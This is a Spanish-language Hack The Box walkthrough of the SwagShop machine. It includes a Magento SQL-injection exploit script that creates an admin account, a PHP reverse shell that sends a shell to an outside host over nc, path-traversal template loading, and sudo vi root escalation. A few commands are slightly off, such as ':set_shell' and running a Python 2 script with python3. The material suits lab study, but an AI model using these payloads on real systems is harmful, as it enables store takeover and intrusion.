lund@home:~$

Autor: Lund K. S.

HTB_SwagShop HTB_SwagShop | Hacker-Blog

HTB_SwagShop

SwagShop {-}

Introduccion {-}

La maquina del dia 14/08/2021 se llama SwagShop.

El replay del live se puede ver aqui

S4vitaar SwagShop maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.140

ttl: 63 -> maquina Linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.140

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.140 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p22,80 10.10.10.140 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
22 ssh Conneccion directa usuario y contraseña
80 http Web, Fuzzing  

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.140

Vemos que estamos en frente de una maquina Linux servido por un Apache 2.4.18 con un dominio swagshop.htb. Vemos que hay un error porque la pagina nos redirige automaticamente al dominio y da un error. Añadimos el dominio a nuestro /etc/hosts y volmemos a lanzar el whatweb.

Ahora vemos que estamos en frente de un Magento.

Checkear la web del puerto 80 {-}

Con firefox navigamos en la web para ver lo que es. Vemos una web donde se puede comprar productos. Vemos que hay un panel de busqueda. Intentamos ver si es vulnerable a un html injeccion o un XSS pero no es el caso.

Nos damos cuenta que la URL es http://swagshop.htb/index.php/. La ultima bara nos hace pensar que puede ser un directorio. Vamos a fuzzear la web.

Fuzzing con WFuzz {-}

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.140/index.php/FUZZ

Encontramos unas rutas:

  • admin
  • catalog
  • home
  • contacts
  • home

Miramos lo que hay en la routa http://10.10.10.140/index.php/admin

Checkeamos en la web si existen credenciales por defecto para Magento pero no funcciona. Miramos si existe algo interesante en exploit-db

Vulnerability Assessment {-}

Checkeando exploit para Magento {-}

searchsploit magento

Vemos un exploit que nos llama la atencion -> Magento eCommerce - Remote Code Execution

Nos copiamos el script en el directorio actual de trabajo y lo analyzamos

searchsploit -m 37977
mv 37977.py magento_rce.py
vi magento_rce.py

Modificamos el script para que funccione

import requests
import base64
import sys

target = "http://10.10.10.140/index.php"

if not target.startswith("http"):
    target = "http://" + target

if target.endswith("/"):
    target = target[:-1]

target_url = target + "/admin/Cms_Wysiwyg/directive/index/"

q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""


query = q.replace("\n", "").format(username="forme", password="forme")
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)

# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is
r = requests.post(target_url,
                  data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
                        "filter": base64.b64encode(pfilter),
                        "forwarded": 1})
if r.ok:
    print "WORKED"
    print "Check {0}/admin with creds forme:forme".format(target)
else:
    print "DID NOT WORK"

Lanzamos el script con el commando python3 magento_rce.py y nos dice que el script a funccionado y a creado un usuario forme con la contraseña forme.

Lo miramos desde la web y entramos en Admin panel de Magento.

Vuln exploit & Gaining Access {-}

Ganando accesso desde Magento {-}

Para ganar acceso desde un panel Admin de Magento siempre va de la misma forma.

Nos ponemos en escucha por el puerto 443

nc -nlvp 443

Desde el panel de configuration de Magento

  1. Vamos al menu System -> Configuration.
  2. En el Menu de izquierda vamos a ADVANCED -> Developer
  3. En Template Settings Habilitamos los Symlinks y damos al boton Save Config
  4. En el menu principal, le damos a catalog -> Manage Categories

Aqui tenemos que crear una reverse shell vi shell.php.png

<?php
    system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 443 >/tmp/f");
?>

De esta manera, la podemos subir al magento en la parte Image, en Name ponemos test y damos al boton Save Category Si hacemos hovering por encima del link de la imagen vemos la routa siguiente

http://swagshop.htb/media/catalog/category/shell.php.png

Aqui creamos un nuevo Newsletter Template.

  1. En el menu Pricipal damos a Newsletter -> Newsletter Templates
  2. damos al boton Add Newsletter Template
  3. En el formulario le ponemos

    • Template Name: Test
    • Template Subject: Test
    • Template Content: ``
  4. le damos al boton Save Template, pinchamos al template creado y le damos a preview template

Aqui no passa nada, lo que quiere decir que la profundida del path traversal no es buena. Intentamos con 2 ../../media hasta llegar a la buena profundidad que seria ../../../../../../media/catalog/category/shell.php.png y hemos ganado acceso a la maquina victima.

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

Dandole a cd /home vemos que hay un usuario haris que contiene el user.txt y podemos ver la flag## Privilege Escalation {-}

Rootear la maquina {-}

cd /root
> Permission denied
id
sudo -l

Vemos que podemos lanzar /usr/bin/vi como root sin proporcionar contraseña.

Como con vi se puede settear nuevas variables, es muy facil rootear esta maquina

sudo -u root vi /var/www/html/EEEEEE
:set_shell=/bin/bash
:shell

Ya tenemos una consola como root y podemos visualizar la flag